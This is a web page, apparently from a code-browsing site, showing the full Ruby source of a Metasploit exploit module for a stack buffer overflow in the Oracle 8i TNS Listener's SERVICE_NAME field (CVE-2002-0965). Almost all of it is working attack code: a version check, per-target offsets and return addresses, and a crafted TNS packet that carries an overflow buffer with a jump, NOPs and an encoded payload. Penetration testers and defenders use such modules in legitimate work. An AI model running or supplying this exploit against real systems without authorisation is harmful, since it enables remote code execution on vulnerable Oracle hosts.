Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/oracle/tns_service_name.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::TNS910def initialize(info = {})11super(update_info(info,12'Name' => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Oracle. When15sending a specially crafted packet containing a long SERVICE_NAME16to the TNS service, an attacker may be able to execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2002-0965'],23[ 'OSVDB', '5041'],24[ 'BID', '4845'],25[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'thread',31},32'Payload' =>33{34'Space' => 600,35'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],42[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,43],44'DefaultTarget' => 0,45'DisclosureDate' => '2002-05-27'))4647register_options([Opt::RPORT(1521)])48end4950def check51connect5253version = "(CONNECT_DATA=(COMMAND=VERSION))"54pkt = tns_packet(version)55sock.put(pkt)5657sock.get_once58res = sock.get_once(-1, 1)5960disconnect6162if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )63return Exploit::CheckCode::Appears64end65return Exploit::CheckCode::Safe66end6768def exploit69connect7071buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded72buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')73buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)7475sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"7677pkt = tns_packet(sploit)7879print_status("Trying target #{target.name}...")80sock.put(pkt)8182handler8384disconnect85end86end878889